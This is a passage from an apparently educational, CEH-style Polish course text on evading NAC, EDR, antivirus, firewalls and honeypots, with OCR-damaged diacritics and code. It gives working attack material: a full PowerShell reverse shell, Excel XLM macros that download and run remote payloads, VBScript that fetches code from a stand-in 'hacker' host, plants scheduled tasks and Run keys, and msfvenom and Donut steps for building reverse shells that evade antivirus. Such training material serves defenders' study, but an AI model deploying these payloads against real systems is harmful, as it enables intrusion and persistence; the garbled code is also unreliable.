o Unikaj pobierania podejrzanych programoéw lub plikéw z Internetu lub poczty elektronicznej,
o Aktualizuj system i ustugi.

Unikanie NAC i Endpoint Security

W tej sekcji omowiono rézne techniki wykorzystywane przez osoby atakujgce w celu obejscia kontroli
dostepu do sieci (NAC) i zabezpieczen punktéw koncowych.



NAC i techniki unikania zabezpieczen punktéw kornicowych

NAC to kontrola bezpieczeristwa uzywana do blokowania nieautoryzowanych lub nieznanych
urzadzen/hostéw probujgcych uzyskaé dostep do ustug wewnetrznych. Atakujgcy czesto prébuja
omingé NAC, uzywajac réznych technik, aby wykonac ztosliwe dziatania w sieci docelowej. Oto niektére
techniki omijania NAC:

* Przeskakiwanie przez VLAN
* Korzystanie z wstepnie uwierzytelnionego urzadzenia

Zabezpieczenia punktow koncowych zapewniajg dodatkowga warstwe ochrony urzgdzen uzytkownikéw
konricowych, takich jak komputery stacjonarne, laptopy, tablety i drukarki cyfrowe, przed ztosliwym
oprogramowaniem i innymi cyberzagrozeniami. Atakujgcy moga jednak zastosowac rézne techniki
unikania atakdw, aby oming¢ wykrywanie i reagowanie na punkty koricowe (EDR) w celu zainfekowania
urzadzen potencjalnym ztosliwym oprogramowaniem oraz ustanowienia polecen i kontroli w celu
utrzymania przyczétka bez wykrycia.

Oto niektdre techniki omijania zabezpieczen punktéw koncowych:
Ghostwriting

Korzystanie z biatej listy aplikacji

Uzbrojenie XLM

Odtaczanie makr

Czyszczenie haczykédw pamieci

Korzystanie z szablonéw Metasploit

Omijanie punktu korncowego firmy Symantec
Ochrona

Hosting stron phishingowych

Przekazywanie zakodowanych polecen

Szybka metoda DNS

Unikanie oparte na czasie

Wykonanie podpisanego binarnego serwera proxy
Omijanie NAC za pomoca VLAN Hopping

Atakujacy wykorzystujg przeskakiwanie miedzy sieciami VLAN, aby uzyskaé dostep do sieci za
posrednictwem protokotu Dynamic Trunking Protocol (DTP). Aby skonfigurowac tgcze trunkingowe za
pomocy przetgcznika, atakujgcy przesytajg pakiety DTP, ustawiajgc tryb przetgcznika na ,, dynamiczny
auto” lub ,dynamiczny pozadany”. Ustanowione tgcze umozliwia atakujgcym dostep do wszystkich
sieci VLAN.

Narzedzia do przeskakiwania do sieci VLAN

Frogger



Frogger to prosty skrypt do wyliczania i przeskakiwania sieci VLAN. Wyszukuje pakiety CDP i
wyodrebnia nazwe domeny VTP, adres zarzadzania VLAN, natywny identyfikator VLAN i wersje 10S
urzadzen Cisco. Narzedzie automatycznie wtaczy atak DTP trunk. Wyszukuje réwniez i wyodrebnia
wszystkie pakiety VLAN oznaczone 802.1Q w pakietach STP i wyodrebnia unikalne identyfikatory.
Zapewnia opcje automatycznego automatycznego tworzenia interfejsu VLAN w wykrytej sieci, aby
pofaczy¢ sie z tg siecig VLAN. Atakujacy uruchamiajg nastepujace polecenie z uprawnieniami
administratora, aby przeskakiwac do sieci VLAN i oming¢ NAC:

./ frogger . cii
Omijanie NAC przy uzyciu wstepnie uwierzytelnionego urzadzenia

Atakujacy moga uzyskac dostep do uwierzytelnionego urzadzenia i uzy¢ tego urzadzenia do ominiecia
NAC. Atakujgcy umieszczajg swoje urzgdzenie (np. Raspberry Pi) miedzy wstepnie uwierzytelnionym
urzadzeniem a serwerem uwierzytelniajgcym, aby zapewnic¢ przeptyw ruchu przez ich urzadzenie.

Narzedzia do omijania NAC przy uzyciu wstepnie uwierzytelnionego urzadzenia
nac_bypass_setup.sh

Podstawowym wymaganiem obejscia NAC jest dostep do urzadzenia, ktére zostato juz
uwierzytelnione. To urzadzenie stuzy do logowania sie do sieci, a nastepnie przemycania pakietéw
sieciowych z innego urzadzenia. Wigze sie to z umieszczeniem systemu atakujgcego miedzy
przetgcznikiem sieciowym a uwierzytelnionym urzgdzeniem. Jednym ze sposobdw na to jest Raspberry
Pi i dwie karty sieciowe.

Ponizej przedstawiono kilka dodatkowych narzedzi do ominiecia NAC przy uzyciu wstepnie
uwierzytelnionego urzadzenia:

NACkered (https://github.com)

Silentbridge (https://github.com)

Fenrir (https://github.com)

BUM (https://github.com)

Omijanie Endpoint Security za pomoca Ghostwriting

Ghostwriting to technika omijania, ktéra polega na modyfikowaniu struktury kodu ztosliwego
oprogramowania bez wptywu na jego funkcjonalnos¢. Mozna to zrobié¢ przez dekonstrukcje kodu
asemblera i dodanie dowolnego kodu. Atakujgcy uzywajg tej techniki, aby omingé¢ agentéw
bezpieczedstwa urzadzen konAcowych, takich jak program antywirusowy, i ukryé ztosliwe
oprogramowanie, aby unikng¢ wykrycia opartego na sygnaturach. Atakujacy uzywajg narzedzi takich
jak Ghostwriting.sh do modyfikowania struktury ztosliwego oprogramowania.

Ghostwriting.sh

Ghostwriting stuzy do omijania oprogramowania antywirusowego poprzez dekonstrukcje binarng,
wstawianie dowolnego kodu asemblera i rekonstrukcje. Do wykonywania tych czynnosci wykorzystuje
wbudowane narzedzia Metasploit. Ghostwriting.sh to narzedzie do automatyzacji tego procesu. Ghost
writing pobierze i uruchomi wszystkie wymagane parametry oraz nawigze potaczenie C2 ze zdalnym
serwerem. Nastepnie osoby atakujgce dezasemblujg plik i dodajg wtasny kod w postaci unikania
podpisu. Plik zatadowany ztosliwym oprogramowaniem ponownie sktada pliki binarne z kodem



dodanym wczesniej. Teraz ustanawia potgczenie z docelowym zdalnym serwerem w celu przestania
pliku.

Omijanie Endpoint Security za pomocg biatej listy aplikacji

Biata lista aplikacji to funkcja zabezpieczen w systemach Windows stuzgca do ochrony przed
niezabezpieczonym lub ztosliwym wykonaniem aplikacji. Zawiera liste podpisanych aplikacji, ktére
moga dziata¢ w systemie. Podczas wykonywania legalnej i podpisanej aplikacji szuka wymaganych
bibliotek DLL w biezgcej lokalizacji, w ktdrej plik wykonywalny jest zapisany, a nastepnie przeszukuje
inne lokalizacje.

Atakujacy dokonujg przejecia biblioteki DLL w celu umieszczenia ztosliwej biblioteki DLL o prawidtowej
nazwie, ktérej szuka aplikacja, w tym samym katalogu, w ktédrym znajduje sie plik wykonywalny.
Nastepnie szkodliwa biblioteka DLL jest wykonywana wraz z aplikacjg w celu wytgczenia zabezpieczen
punktu korncowego. Podczas przejmowania bibliotek DLL osoby atakujgce naduzywajg procesu obstugi
bibliotek DLL przez system operacyjny Windows wraz z ich kolejnoscig wyszukiwania, co pomaga w
zlokalizowaniu bibliotek DLL podczas ich fadowania do programu. Ta metoda przejmowania tadowan
bibliotek DLL umozliwia atakujagcym zachowanie trwatosci i podnoszenie uprawnien przy
jednoczesnym unikaniu wykrycia podczas tadowania ztosliwych bibliotek DLL. Atakujgcy uzywajg
rowniez rundll32.exe, regsvr32.exe i PowerShell, aby unikngé umieszczania aplikacji na biatej liscie
rozwigzania zabezpieczajacego punkt koricowy.

Omijanie zabezpieczen punktéw koncowych za pomoca uzbrojenia XLM

Excel Macro Language (XLM) to rodzaj arkusza makr Excela i czes¢ pakietu Microsoft Office uzywana
do zapisywania niektérych zautomatyzowanych zadan, ktére mozna aktywowac podczas uzyskiwania
dostepu do pliku. Atakujacy wykorzystujg arkusze makr programu Excel, aby oming¢ ochrone punktéw
korcowych i wykona¢ ztosliwy tadunek w systemie docelowym. Kroki w celu ominiecia ochrony
punktéw korncowych za pomoca uzbrojenia XLM sg nastepujace:

Poczatkowy dostep

1. Utworz i otwdrz plik MS Excel, kliknij prawym przyciskiem myszy nazwe arkusza i wybierz okno
dialogowe Wstaw. Nastepnie wybierz Makro MS Excel 4.0 z okna Wstaw i kliknij OK.

2. Teraz wyprobuj kilka podstawowych polecen, aby przetestowac dziatanie arkusza makr. Wklej
polecenia ,,=exec("calc.exe")","=HALT () " w komérkach, i zmien nazwe komorki z Al na auto_open.

3. Zapisz plik, wybierajgc typ pliku jako skoroszyt z obstugg makr (.xIsm) i otworz go ponownie.
Automatycznie makropolecenia zostang wykonane i uruchomia Kalkulator.

Uzbrojenie XLM

4. Utworz odwrotny fadunek powtoki przy uzyciu skryptu PowerShell zamiast wykonywania pliku
programu calc.exe

Sclient = New-Object System.Net.Sockets. TCPClient('Target Domain

Path',444);Sstream =  Sclient.GetStream();[byte[]]Sbytes = 0..65535|%{0}/while <(Si =
Sstream.Read(Sbytes, 0,  Sbytes.Length)) -ne 0){;Sdata = (New-Object -
TypeNameSystem.Text.ASCIIEncoding).GetString(Sbytes,0, Si);Ssendback = (iex Sdata 2>&1|Out-
String );Ssendback2 = S$sendback + 'PS ' + (pwd).Path + '> ';Ssendbyte =

([text.encoding]::ASCIl).GetBytes(Ssendback2);Sstream. Write($Ssend



byte,0,5sendbyte.Length);Sstream.Flush()};Sclient.Close()

5. Do instalacji skryptu uzyj zaciemniacza skryptéw PowerShell.

Import-Module ./Invoke-Obfuscation.psd|

Invoke-Obfuscation

6. Teraz uzyj polecenia cmdlet invoke-expression, aby uruchomié zaciemniony fadunek powtoki,
powershell -c IEX (New-Object

Net.WebClient).Downloadstring('<Target Domain Path>/obf.txt')")

7. Sprébuj wstawic tadunek do makra XLM, aby omingé wykrywanie.

=exec("powershell —c IEX (New-Object

Net.WebClient).Downloadstring('<Target Domain Path>/obf.txt')")

Jesli nadal jest wykrywany, zastosuj udziat WebDAV (Web Distributed Authoring and Versioning).
wykonaj skrypt z zamontowanego dysku:

8. Wiacz moduty WebDAYV,

sudo a2enmod dav

sudo a2enmod dav_fs

Teraz zamontuj udziat WebDAV.

9. Uruchom tadunek z flagg wykonania pominiecia.

=EXEC("cmd /k net use z: \\<Target Domain>\webdav&powershell -

exec bypass -f \\<Target Domain Path>\webdav\ba.psl|")

Zatadowanie tego skryptu do XLM moze zamontowa¢ nowy dysk z literg z i odwrécong powtoka dla
atakujgcego zostanie utworzony bez wykrycia.

Omijanie zabezpieczen punktéw koricowych przez roztaczanie makr

Makra Microsoft Office s powszechnie uzywane do automatyzacji réznych proceséw i zadan
uzytkownika. Atakujgcy moga wykorzystywac¢ makra do wykonywania ztosliwych kodéw i wltamywac
sie do systemu. Poniewaz makra sg oparte na jezyku VBScript, osoby atakujgce tworzg ztosliwe kody
oparte na jezyku VBA. W tym przypadku dechaining makr stuzy do unikania wykrywania punktéw
koncowych i modyfikowania pamieci, rejestru i innych plikéw systemu Windows za pomoca jezyka
VBScript. Technika ta pozwala atakujgcym unikngé wykrycia opartego na analizie dynamicznej i
statycznej. Techniki stosowane w celu obejscia zabezpieczen punktéw koncowych poprzez roztgczenie
makr sg nastepujgce:

Spawnowanie przez ShellCOM

Atakujacy uzywajg obiektdw COM do procesu odradzania. Umozliwia atakujgcym odwotywanie sie do
dowolnego obiektu powigzanego z COM poprzez VBScript w celu wykorzystania jego funkcji. Atakujgcy
uzywaja sheiiBrowserwindow do uruchamiania nowych proceséw.

Set obj = GetObject("new:CO8AFD90-F2A1-11D1-8455-00A0C91F3880")



obj.Document.Application.ShellExecute
"calc.exe",Null,"C:\\Windows\\System32",Null,0
Odradzanie przy uzyciu XMLDOM

Atakujgcy moga rowniez zaimplementowaé spawnowanie procesow za posrednictwem XMLDOM. Ta
technika umozliwia atakujgcym pobranie i uruchomienie kodu w procesie pakietu Office.

Set xml = CreateObject("Microsoft. XMLDOM")
xml.async = False

Set xsl = xml

xsl.load("file://| http://hacker/malicous_payload.xsl")
xml.transformNode xsl

Spawning przezWmiPrvse.exe

Aby zdalnie uruchomic¢ nowy proces lub plik wykonywalny, osoby atakujgce mogg skorzystac z ustugi
WMI. Ta metoda umozliwia atakujagcym uruchamianie nowych procesdw za posrednictwem
wmiprvse.exe bez uwzgledniania procesu pakietu Office.

Set objWMiIService =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cim
v2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")

Set objConfig = objStartup.Spawnlinstance_

Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("calc.exe", Null, objConfig,

intProcessID)

Tworzenie zaplanowanych zadan

Atakujacy uzywajg rédwniez jezyka VBScript do tworzenia zaplanowanych zadan i przeprowadzania
dechainingu z pakietu Microsoft Office. Ten proces umozliwia rowniez atakujgcym rozdzielenie
chronometrazu dziatania poza spawnowaniem zadan przez proces hosta ustugi.

Set service = CreateObject("Schedule.Service")

Call service.Connect

Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "McAfee Corporation"
td.settings.StartWhenAuvailable = True
td.settings.Hidden = False

Dim triggers: Set triggers = td.triggers



Dim trigger: Set trigger = triggers.Create(1)

Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & & Right(Month(ts), 2) &
Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & &
Right(Minute(ts), 2) & & Right(Second(ts), 2)
trigger.StartBoundary = startTime

trigger.ID = "TimeTriggerld"

Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\calc.exe"
'Action.Arguments = "/c whoami"

Call
service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td,
6,,,3)

Modyfikacja rejestru

Atakujgcy mogg réwniez uzywac skryptéw VBScript, aby uzyskaé dostep do rejestru w celu zmiany
ustawien, przechowywania tadunkéw i tworzenia trwatosci. Czynnosci te moina wykonac
bezposrednio z poziomu makra. Modyfikowanie rejestrow moze prowadzi¢ do roztgczenia
wykonywania tadunku, poniewaz s3 one wykonywane podczas rozruchu zamiast makra. Uruchom
nastepujgcy kod, aby utworzy¢ klucz uruchamiania:

Set objRegistry
GetObject("winmgmts:\\.\root\default:StdRegProv")
objRegistry.SetStringValue
"Software\Microsoft\Windows\CurrentVersion\Run", "keyl", "valuel"

Upuszczanie plikow

Atakujacy mogg wykorzysta¢ obiekt FileSystemObject do upuszczenia pliku poprzez naduzycie
skryptéw VBScript. Umozliwi to roztgczenie tadunkéw z makr, poniewaz wykonanie nastgpi tylko
podczas uruchamiania.

Uruchom nastepujgcy kod, aby dodaé element startowy:

Path = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFile = objFSO.CreateTextFile(Path & "\sample.bat", True)
objFile.Write "notepad.exe" & vbCrLf

objFile.Close



Pobieranie tresci

Atakujgcy moga pobierac zawartos¢ za pomoca skryptéw VBScript i wprowadzacd zawartos¢ do rejestru,
pamieci lub na dysk. Atakujgcy uzywaja biblioteki XMLHTTP wraz z ADODB do przeprowadzenia tego
ataku. Uruchom nastepujgcy kod, aby pobraé¢ zawartosc:

Dim xHttp: Set xHttp = CreateObject("Microsoft. XMLHTTP")

Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")

xHttp.Open

"https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe",

False

xHttp.Send

With bStrm

JType=1

.Open

.write xHttp.responseBody

.savetofile Environ("APPDATA") & "\sample.exe", 2

"GET",

End With

Osadz plik i upus¢

Atakujacy uzywajg funkcji ,vba-exe” Metasploit do tworzenia makr, ktére zawierajg osadzony tadunek.
Uruchom nastepujgcy kod, aby osadzi¢ kalkulator w makrze:

msfvenom —p generic/custom

PAYLOADFILE=/home/userl/Downloads/calc.exe —a x64 --platform

windows -f vba-exe

Omijanie zabezpieczen punktéw koricowych poprzez usuwanie hakéw pamieci

Zaczepianie pamieci to podejscie do monitorowania i zmiany zachowania procesu wykonywania
aplikacji. Te haki sg umieszczane przez agenta EDR w celu zbierania informacji do przeprowadzania
analizy opartej na zachowaniu. Haki wysytajg informacje do agenta EDR, ktdry jest zainstalowany w
uprzywilejowanym jadrze wysokiego poziomu, co pomaga w wykrywaniu ztosliwych dziatan, takich jak
zdalne wykonywanie kodu, ruch boczny i eskalacja uprawnien w czasie rzeczywistym. Na przyktad, jesli
nowy proces jest uruchamiany w stanie odtgczonym, a uprawnienia do pamieci sg zmieniane w celu
wykonania procedury writeProcessMemory, system EDR moze nadal widzie¢ dane i okreslaé, czy
uruchomiony proces jest ztosliwy, czy nie. W takich przypadkach osoby atakujgce czesto probujg
oming¢ EDR w pamieci, odczepiajac biblioteki DLL EDR. W tym celu osoby atakujgce muszg znalezé
biblioteki DLL aplikacji, powigzane funkcje i wyeksportowane wywotania systemowe. Atakujgcy
uzywajg narzedzi typu open source, takich jak debuger x64dbg, aby zidentyfikowac przechwycone
wywotania systemowe, ktére sg przechowywane w pamieci podczas wykonywania. Nastepnie



atakujgcy tworzg fadunek, ktéry moze zastgpic te zaczepy w pamieci, przywracajac doktadne bajty
danych. Mozna to zrobié przez ponowne zatadowanie wtasciwej lokalizacji w procesie zawierajgcym
pamieé, ktéry przechowuje zaczepy i wymazanie zaczepow EDR. Po pomysinym przywrdceniu wywotan
systemowych biblioteka DLL EDR nadal istnieje na dysku, ale nie otrzymuje zadnych informacji z hakéw,
poniewaz juz nie istnieja.

Atakujacy moga réwniez uzy¢ wiasnego zestawu i wywotan systemowych do wykonania ztosliwego
tadunku bez wykrycia przez rozwigzanie EDR. Poniewaz wywotania systemowe nie sg eksportowane z
systemowych bibliotek DLL, EDR nie moze wykry¢ zadnej aktywnosci, poniewaz zaczepy EDR nie
wyzwalajg zadnej aktywnosci. Aby to zrobi¢, osoby atakujace muszg ustawi¢ zmienne i wartosci
rejestru, aby wykonaé¢ wtasne wywotania systemowe, a takie znac identyfikatory wywotan
systemowych, ktére sg zmieniane w zaleznosci od docelowego systemu operacyjnego i wers;ji.

Omijanie programu antywirusowego za pomocg szablonéw Metasploit

Atakujacy czesto starajg sie upewnic, ze ich szkodliwe funkcje oming oprogramowanie antywirusowe
na zaatakowanej maszynie. W tym zakresie mozna wykorzystac szablony Metasploit.

Krok 1: Uruchom nastepujace polecenie, aby wygenerowac tadunek za pomocg msfvenom:
msfvenom -p windows/shell_reverse_tcp lhost=<Target IP Address>
Iport=444 -f exe > /home/attacker/Windows.exe

Przetestuj tadunek Windows.exe za pomocg VirusTotal, aby przeanalizowac plik i okresli¢ wspdtczynnik
wykrywalnosci.

Krok 2: Aby zmniejszy¢ wspodtczynnik wykrywania, otwérz szablony i zmniejsz rozmiar tadunku
(tutaj od 4096 do 4000):

#include <stdio.h>

#define SCSIZE 4000

char payload[SCSIZE] = "PAYLOAD:";
char comment[512] =

int main(int arge, char **argv) {
(*(void (*) () ) payload) ();

return(0);

A\ ff .

}

Uwaga: Przechowuj program template.c w tym samym folderze, w ktérym przechowywany jest
szkodliwy fadunek.

Krok 3: Teraz przejdz do folderu exe, w ktdrym przechowywany jest ztosliwy tadunek, i uruchom
nastepujgce polecenie, aby ponownie skompilowac standardowy szablon.

i686-w64-mingw32-gcc template.c -lws2_32 -0 evasion.exe



Krok 4: Nastepnie uruchom nastepujgce polecenie, aby wygenerowaé tadunek przy uzyciu nowego
szablonu:

msfvenom -p windows/shell_reverse_tcp lhost=<Target IP Address>
Iport=444 -x /usr/share/metasploitexe
framework/data/templates/sre/pe/exe/evasion.exe —f exe >
/home/attacker/bypass.exe

Teraz ponownie przetestuj tadunek bypass.exe za pomocg VirusTotal, aby przeanalizowac plik i okresli¢
wskaznik wykrywalnosci.

DETECTION DETALS RELATIONS REMAVIOR COMMUNITY

e ML)

Na powyzszym zrzucie ekranu mozna zauwazy¢, ze wskaznik wykrywania szkodliwej funkcji spadit.
Atakujacy stale modyfikujg szablony Metasploit, aby zmniejszy¢é wskaznik wykrywalnosci i obejs¢
oprogramowanie antywirusowe.

Omijanie programu Symantec Endpoint Protection

Symantec Endpoint Protection (SEP) to pakiet oprogramowania do cyberobrony z funkcjami
antywirusowymi, chronigcymi przed ztosliwym oprogramowaniem i wykrywajgcymi wfamania.
Atakujacy wykorzystujg nastepujgce kroki, aby oming¢ rozwigzanie SEP w celu wykonania ztoSliwego
tadunku, uzyskania trwatosci i zrzucenia poswiadczen z maszyny docelowe;j.

Krok 1: Uzyj Covenant C2 Framework do stworzenia ztosliwego tadunku Ilub programu
uruchamiajacego:

Krok 2: Uzyj narzedzia Donut, aby przeksztatci¢ tadunek w kod powtoki niezalezny od pozycji:
./Jdonut -c GruntStager -a3-b 2 -z 2 -x -e 3 GruntHTTP.exe -0
gruntloader.bin

Krok 3: Zastosuj niestandardowy modut tadujgcy .NET, aby uruchomié niezalezny od pozycji kod
powtoki wygenerowany powyzej:



file Custom Loader SEP.cs or CustomerLoader.exe

Krok 4: Uruchom program tadujacy, uzywajgc programu InstallUtil.exe jako LOLBin, aby wykona¢ kod
powtoki w pamieci systemowej w celu utworzenia odwrotnego potgczenia C2 z pominieciem
rozwigzania SEP:

‘ OVENANT
.
Dawboars

Grunt: bl11e46a91d

Inne techniki omijania zabezpieczen punktéw koncowych

Atakujagcy stosujg rézne techniki unikania atakdéw, aby zachowaé trwatos¢ zaatakowanego systemu,
unikajgc réznych ustug piaskownicy, rozwigzan UBA lub SIEM, ktére generujg alerty oparte na
zachowaniu. Omijajg rézne kontrole bezpieczenstwa sieci po ztamaniu systemu utrzymywania ukrycia
i rozszerzania ztosliwych dziatan. Organizacje mogg stosowac rézne zabezpieczenia, takie jak IDS, IPS
lub EDR, ale osoby atakujgce moga rowniez stosowac rdézne techniki ukrywania swoich dziatan i
pozostawania niewykrytym. Dlatego, aby unikng¢ obu narzedzi EDR opartych na zachowaniu, osoby
atakujgce wykorzystujg wyrafinowane mechanizmy i zaawansowane ztosliwe oprogramowanie w celu
ukrycia swoich ztosliwych operacji.

Hosting witryn wytudzajacych informacje w popularnej infrastrukturze

Mechanizm EDR stosowany w organizacjach moze blokowac adresy IP biorgce udziat w kampaniach
phishingowych i innych ztosliwych dziataniach w celu ochrony urzadzenia koricowego. Wykorzystuje
adresy IP z czarnej listy, ktére sg regularnie aktualizowane z wielu Zzrédet. Atakujgcy wykorzystuja te
funkcje i wykorzystujg legalne ustugi infrastruktury chmurowej, takie jak Google Cloud i AWS, do
hostowania witryn phishingowych i przeprowadzania atakéw phishingowych na docelowe organizacje.
Zabezpieczenia punktéw koncowych wdrozone na urzgdzeniach koicowych mogg jedynie zapobiegac
ztosliwym adresom IP zarejestrowanym na czarnej liscie uzytkownikéw. Bardzo popularne ustugi
infrastruktury hostingowej nie znajdujg sie na czarnej liscie; dlatego atakujgcy uzywajg ich jako
serweréw dowodzenia i kontroli do wykonywania ztodliwych dziatad. Atakujgcy moga réwniez
wykorzystywa¢ popularne konta w mediach spotecznosciowych do dystrybucji ztosSliwego
oprogramowania poprzez ukrywanie zto$liwego kodu w przesytanych zdjeciach lub innych plikach
multimedialnych za pomocay steganografii. Juz zainfekowane ztosliwe oprogramowanie odczytuje
instrukcje ukryte na zdjeciach i dziata zgodnie z nimi, aby oming¢ zabezpieczenia punktu korncowego w
systemie docelowym.



Przekazywanie zakodowanych polecen

Atakujacy mogg przekazywac zaszyfrowane polecenia, aby omingé mechanizmy wykrywania w
okreslonych okolicznosciach. Na przyktad przekazywanie polecen zakodowanych w standardzie Base64
pozwoli atakujgcym ukry¢ swoje argumenty i kod. Atakujacy mogg réwniez uzywac szyfrowania w
formacie szesnastkowym do pingowania réznych adreséw IP w celu unikniecia wykrycia przez
mechanizmy bezpieczenstwa.

Metoda Fast Flux DNS

Atakujacy moga zaimplementowac ztosliwe oprogramowanie, ktére wykorzystuje rézne sztuczki do
wykonywania kodu, ktérego nie mogg wykry¢ rozwigzania bezpieczenstwa. Metoda fast flux umozliwia
atakujgcym szybka zmiane zaréwno adreséw IP, jak i nazw DNS i jest zwykle wykorzystywana przez
duze botnety. Ta technika umozliwia atakujgcym obejscie réznych kontroli bezpieczenstwa. Pomaga
takze atakujgcemu oming¢ czarne listy i ukry¢ serwer C&C za zainfekowanymi systemami dziatajgcymi
jako odwrotne serwery proxy. W tym procesie system ofiary bedzie faczyt sie tylko z agentami fast flux
zamiast z legalnym serwerem C&C.

Unikanie oparte na czasie

Jest to technika unikania piaskownicy, w ktérej ztosliwe oprogramowanie jest uruchamiane w
okreslonym czasie lub po okreslonych dziataniach ofiary. Dziatania mogg obejmowaé otwarcie
okreslonego okna i klikniecie go, co aktywuje je po ponownym uruchomieniu systemu. Niektére inne
przykfady to tatanie snu, interfejsy APl opdznient i bomby zegarowe.

Wykonanie podpisanego binarnego serwera proxy

Ta technika umozliwia atakujagcym wykorzystanie zaufanych wbudowanych narzedzi do wykonywania
ztosdliwych kodéw w celu unikniecia rozwigzan EDR. Atakujgcy uzywajg tych legalnych lub zaufanych
narzedzi, poniewaz sg one podpisane certyfikatami cyfrowymi i pomagajg w posredniczeniu w
wykonywaniu ztosliwego kodu. Na przyktad osoby atakujgce mogg wykorzystaé rundll.32 do
wykonywania ztosliwych polecen.

Narzedzia do unikania IDS/zapér sieciowych

Podczas omijania zapory atakujgcy uzywajg réznych narzedzi do audytu bezpieczenstwa, ktore
oceniajg zachowanie zapory. W tej sekcji wymieniono niektére z tych narzedzi, ktére pomagajg
atakujgcym omingc¢ ograniczenia zapory. Automatyzujg proces omijania regut firewalla, jednoczesnie
zwiekszajac efektywnosé i zuzywajgc mniej czasu.

Traffic 1Q Professional

Traffic 1Q Professional to narzedzie, ktdére audytuje i weryfikuje zachowanie urzadzen
zabezpieczajacych, generujac standardowy ruch aplikacji lub ruch ataku miedzy dwiema maszynami
wirtualnymi. To narzedzie jest zazwyczaj uzywane przez personel ds. generowaé niestandardowy ruch
zwigzany z atakami, jest szeroko stosowany przez osoby atakujgce w celu ominiecia zainstalowanych
urzadzen obwodowych w sieci docelowej.

Oto niektére dodatkowe narzedzia do unikania IDS/zap6r oghiowych:
Nmap ( https://nmop.org)
Metasploit (https://www.metosploit.com)

Inundator (f)ttps://sourceforge,net )



IDS-Evasion (https://github.com)
Hyperion-2.3.1(https://nullsecurity.net)
Narzedzia generatora fragmentow pakietow

Istniejg rozne generatory fragmentow pakietéw, ktdrych atakujacy uzywajg do przeprowadzania
atakdéw fragmentacji na zapory ogniowe w celu ich ominiecia.

Colasoft Packet Builder

Colasoft Packet Builder stuzy do tworzenia niestandardowych pakietow sieciowych i pakietéw
fragmentac;ji. Atakujacy uzywajg tego narzedzia do tworzenia niestandardowych ztosliwych pakietéw i
fragmentowania ich w taki sposdb, aby zapory ogniowe nie mogly ich wykryé. Mogg tworzyc
niestandardowe pakiety sieciowe, takie jak pakiet Ethernet, pakiet ARP, pakiet IP, pakiet TCP i pakiet
UDP. Specjalisci ds. bezpieczenstwa uzywajg tego narzedzia do sprawdzania ochrony sieci przed
atakami i intruzami.

Ponizej wymieniono niektére dodatkowe narzedzia do generowania pakietéw:
CommView (https://www.tomos.com)

NetScanTools Pro (https://www.netscontools.com)

Ostinato (https://ostinato.org)

WAN Killer (https://www.solorwinds.com)

WireEdit (https://omnipocket.com)

Wykrywanie Honeypotow

Honeypoty to putapki ustawione w celu wykrywania, odbijania lub przeciwdziatania prébom
nieautoryzowanego wifamania. Podczas préby wifamania do docelowej sieci osoby atakujgce
przeprowadzaja wykrywanie honeypotéw przy uzyciu réznych narzedzi i technik. W tej sekgcji
omoéwiono te narzedzia i sposdb ich uzycia. Honeypot to system internetowy przeznaczony gtéwnie do
odwracania uwagi atakujgcych poprzez oszukiwanie lub przycigganie ich podczas préb uzyskania
nieautoryzowanego dostepu do systeméw informatycznych. Atakujacy mogg wykry¢ obecnosé
honeypotdéw, sondujac ustugi dziatajgce w systemie. Atakujacy wykorzystujg systemy lub metody
wykrywania putapek typu honeypot do identyfikacji putapek typu honeypot zainstalowanych w sieci
docelowej. Tworzg ztodliwe pakiety sondujace w celu skanowania w poszukiwaniu ustug, takich jak
HTTP przez SSL (HTTPS), SMTP przez SSL (SMPTS) i IMAP przez SSL (IMAPS). Porty, ktére pokazuja
uruchomiong konkretng ustuge, ale odrzucajg trojkierunkowe potgczenie uzgadniania, wskazujg na
obecnos$¢ honeypota. Po wykryciu honeypotdow atakujgcy prébujg je omingé¢, aby mogli skupic sie na
atakowaniu rzeczywistej sieci. Narzedzia do wykrywania honeypotéw obejmujg Send-safe Honeypot
Hunter (http://www.send-safe.com) i kippo_detect (https://github.com).

Uwaga: Atakujagcy mogag réwniez pokonaé honeypoty, uzywajac wielu serweréw proxy (TOR) i
ukrywajac konwersacje za pomocg technik szyfrowania i steganografii.

Wykrywanie i pokonywanie Honeypotéw

Honeypot to mechanizm bezpieczenstwa stosowany w celu kontrataku i uwiezienia atakujgcych.
Honeypoty naktaniajg atakujacych do wykonywania ztosliwych dziatan, a informacje o ataku
zapewniajg wglad w poziom i rodzaj zagrozen, z jakimi moze spotkac sie infrastruktura sieciowa. Dla



osoby atakujgcej ustalenie, czy atakowany system jest legalnym systemem, czy tez putapka typu
honeypot, jest niezbedne do skompromitowania sieci bez wykrycia. Podstawowym zadaniem
profesjonalnego hakera jest potajemne identyfikowanie i pokonywanie tych zaktadéw typu honeypot.

Ponizej omdéwiono niektdre techniki uzywane do identyfikowania, wykrywania i pokonywania réznych
infrastruktur typu honeypot:

e Wykrywanie obecnosci Tar Pits warstwy 7: Tar Pits to jednostki bezpieczenstwa, ktore sg podobne
do honeypotow, ktére zostaty zaprojektowane tak, aby powoli odpowiadac¢ na przychodzace zgdania.
Spowalniajg nieautoryzowane préby hakerdw. Doty smoty warstwy 7 powoli reagujg na przychodzace
polecenia SMTP wysytane przez atakujgcych/spamerdw. Atakujagcy mogg zidentyfikowaé obecnosé
dotéw smoty warstwy 7, patrzac na opdznienie odpowiedzi z ustugi.

e Wykrywanie obecnosci tar pitdw warstwy 4: tar pity warstwy 4 manipulujg stosem TCP/IP i sg
skutecznie wykorzystywane do spowolnienia rozprzestrzeniania sie robakéw, backdooréw itp. W tych
tar pitach iptables akceptuja przychodzace potgczenie TCP/IP i spontanicznie przetgczy¢ sie na zerowy
rozmiar okna, blokujgc atakujgcemu mozliwosé wysytania dalszych danych. Atakujacy nie moze
przerwaé tego potaczenia, poniewaz zadne dane nie sg przesytane do maszyny docelowej. Atakujgcy
moze zidentyfikowad dziury tar warstwy 4, takie jak Labrea, analizujgc rozmiar okna TCP, w ktorym tar
